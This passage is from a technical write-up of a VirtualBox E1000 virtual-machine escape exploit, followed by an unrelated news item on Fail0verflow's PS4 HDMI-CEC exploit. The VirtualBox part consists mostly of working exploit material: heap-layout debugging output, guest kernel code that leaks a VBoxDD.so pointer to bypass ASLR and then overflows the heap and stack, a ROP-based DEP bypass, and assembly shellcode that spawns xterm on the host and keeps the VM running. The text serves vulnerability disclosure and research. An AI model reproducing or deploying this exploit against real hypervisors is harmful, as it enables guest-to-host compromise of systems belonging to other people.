[trace-device-constructors] Name: "acpi", '\000' &lt;repeats 27 times&gt;
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 &lt;acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' &lt;repeats 25 times&gt;
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde &lt;gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)&gt;
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

Note the E1000 device at #0xE position. It can be seen in the second list that the following device is at 0x5700 offset from E1000, the next is at 0x19E0 and so on. We already said that these distances are always the same, and it’s our exploitation opportunity.

Devices following E1000 are ICH IC’97, OHCI, ACPI, VirtualBox GIM. Learning their data structures I figured the way to use the write primitive.

On virtual machine boot up the ACPI device is created (src/VBox/Devices/PC/DevACPI.cpp):

typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

An ACPI port input/output handler is registered for 0x4100-0x410F range. In the case of 0x4107 port we have:

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
    RT_NOREF1(pDevIns);
    ACPIState *pThis = (ACPIState *)pvUser;
...
    switch (off)
    {
...
        case SMBBLKDAT_OFF:
            *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
            pThis->u8SMBusBlkIdx++;
            pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
            break;
...

When the guest OS executes INB(0x4107) instruction to read one byte from the port, the handler takes one bytes from au8SMBusBlkDat[32] array at u8SMBusBlkIdx index and returns it to the guest. And this is how to apply the write primitive: since the distance between virtual device heap blocks are constant, so is the distance from EEPROM93C46.m_au16Data array to ACPIState.u8SMBusBlkIdx. Writing two bytes to ACPIState.u8SMBusBlkIdx we can read arbitrary data in the range of 255 bytes from ACPIState.au8SMBusBlkDat.

There is an obstacle. Having a look to ACPIState structure it can be seen that the array is placed at the end of the structure. The remaining fields are useless to leak. So let’s look what can be found after the structure:


gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090  0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00  0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00  0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff  0x0000000000001000
0x7fc47008d520: 0x000000ff00000002  0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358  0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000  0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000  0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

It seems there is a pointer to a string placed at a fixed offset from VBoxDD.so image base. The pointer lies at 0x58 offset at the end of ACPIState. We can read that pointer byte-by-byte using the primitives and finally obtain VBoxDD.so image base. We just hope that data past ACPIState structure is not random on each virtual machine boot. Hopefully, it isn’t; the pointer at 0x58 offset is always there.

Information Leak

Now we combine write and read primitives and exploit them to bypass ASLR. We will overflow the heap overwriting EEPROM93C46 structure, then trigger EEPROM finite automaton to write the index to ACPIState structure, and then execute INB(0x4107) in the guest to access ACPI to read one byte of the pointer. Repeat those 8 times incrementing the index by 1.

uint64_t stage_1_main(void* mmio, void* tx_ring) {
    printk(KERN_INFO PFX"##### Stage 1 #####\n");

    // When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
    // is sent back to the guest and handled right now via e1kHandleRxPacket.
    // When loopback mode is disabled data is sent to a network as usual.
    // We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
    // in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
    // the stack buffer.
    e1000_disable_loopback_mode(mmio);

    uint8_t leaked_bytes[8];
    uint32_t i;
    for (i = 0; i < 8; i++) {
        stage_1_overflow_heap_buffer(mmio, tx_ring, i);
        leaked_bytes[i] = stage_1_leak_byte();

        printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
    }

    uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
    uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
    printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
    printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

    return vboxdd_base;
}

It has been said that in order for the integer underflow not to lead to the stack buffer overflow, certain E1000 registers should been configured. The idea is that the buffer is being overflowed in e1kHandleRxPacket function which is called while handling Tx descriptors in the loopback mode. Indeed, in the loopback mode the guest sends network packets to itself so they are received right after being sent. We disable this mode so e1kHandleRxPacket is unreachable.

DEP Bypass

We have bypassed ASLR. Now the loopback mode can be enabled and the stack buffer overflow can be triggered.

void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

For now, when the last instruction of e1kHandleRxPacket is executed the saved return address is overwritten and control is transferred anywhere the attacker wants. But DEP is still there. It is bypassed in a classical way of building a ROP chain. ROP gadgets allocate executable memory, copy a shellcode loader into and execute it.

Shellcode

The shellcode loader is trivial. It copies the beginning of the overflowing buffer next to it.

use64

start:
    lea rsi, [rsp - 0x4170];
    push rax
    pop rdi
    add rdi, loader_size
    mov rcx, 0x800
    rep movsb
    nop

payload:
    ; Here the shellcode is to be

loader_size = $ - start

The shellcode is executed. Its first part is:

use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

It does fork and execve to create /usr/bin/xterm process. The attacker gains control over the host’s ring 3.

Process Continuation

I believe every exploit should be finished. It means it should not crash an application, though it’s not always possible, of course. We need the virtual machine to continue execution which is achieved by the second part of shellcode.

continue_process_execution:
    ; Restore RBP
    mov rbp, rsp
    add rbp, 0x48

    ; Skip junk
    add rsp, 0x10

    ; Restore the registers that must be preserved according to System V ABI
    pop rbx
    pop r12
    pop r13
    pop r14
    pop r15

    ; Skip junk
    add rsp, 0x8

    ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
    ; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
    ; After:    "E1000-Xmit" -> NULL

    ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
    ; This was unnecessary on my testing machines but to be sure...
    mov rdi, [rbx]
    mov rax, 0x0
    mov rcx, 0xA0
    rep stosb

    ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
    ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
    ; will be corrupted in MMHyperFree
    mov qword [rbx], 0x0

    ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

    ret

When e1kHandleRxPacket is called a callstack is:


#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

We’ll jump right to e1kR3NetworkDown_XmitPending which does nothing more and returns to a hypervisor function.

static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
    PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
    /* Resume suspended transmission */
    STATUS &= ~STATUS_TXOFF;
    e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

The shellcode adds 0x48 to RBP to make it as it should be in e1kR3NetworkDown_XmitPending. Next, the registers RBX, R12, R13, R14, R15 are taken from stack because it’s required by System V ABI to preserve it in a callee function. If they aren’t the hypervisor will crash because of invalid pointers in them.

It could be enough because the virtual machine isn’t crashes anymore and continues execute. But there will an access violation in PDMR3QueueDestroyDevice function when the VM is shutdown. The reason is that when the heap is overflowed an important structure PDMQUEUE is overwritten. Furthermore, it’s overwritten by the last two ROP gadgets i.e. the last 16 bytes. I tried to reduce the ROP chain size and failed, but when I replaced the data manually the hypervisor was still crashing. It meant the obstacle is not as obvious as seemed.

Data structure being overwritten is a linked list. Data to be overwritten is in the last second list element; a next pointer is to be overwritten. The remedy turned out to be simple:


; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -&gt; "E1000-Rcv" -&gt; "Mouse_1" -&gt; NULL
; After:    "E1000-Xmit" -&gt; NULL

Getting rid of the last two elements allows the virtual machine to shut down smoothly.

Demo

https://vimeo.com/299325088

PS4: Fail0verflow disclose an exploit that could work on “all currently released hardware and software versions of PS4”

( Original text  BY  )

Famed hacker group Fail0verflow have published a new blog article yesterday, in which they describe a novel way to gain code execution on the PS4. Developer ps4_enthusiast, who is behind the writeup, states the exploit is a way to “gain EMC code exec on any hardware revision.” (EMC is part of the PS4 Southbridge, see below).

This could be bringing the hope of an upcoming hack to anyone who has been running on a recent firmware. 5.05/5.07 are currently the latest publicly hackable firmwares.

As often, the post is in-depth enough that people motivated to reproduce Fail0verflow’s steps should be able to do so, but complicated enough that for the end user, this will not instantly be useful. At all, except for hope as mentioned above.

The exploit involves feeding bogus data to the HDMI port of the console (by exploiting bugs in the CEC interface on the PS4 – CEC is the bit of HDMI protocol magic that lets you turn your TV instantly when you switch the PS4 on, and vice versa) in order to trigger a bug that will let you overwrite data in the PS4’s Southbridge (known as Aeolia or Belize depending on the hardware revision) and get code execution from there.

Sounds complicated? That’s because it probably is, and the overall process currently seems to involve lots of software and hardware hacks. (Picture below is part of the actual setup used by Fail0verflow).

Whether motivated hackers will be able to parse all the necessary information from the article, and turn it into an actual modchip for the PS4 is up for discussion at this point. But I wouldn’t be surprised if we heard good news in the weeks or months to come.

Check the full writeup at the source below.

 


Source: Fail0verflow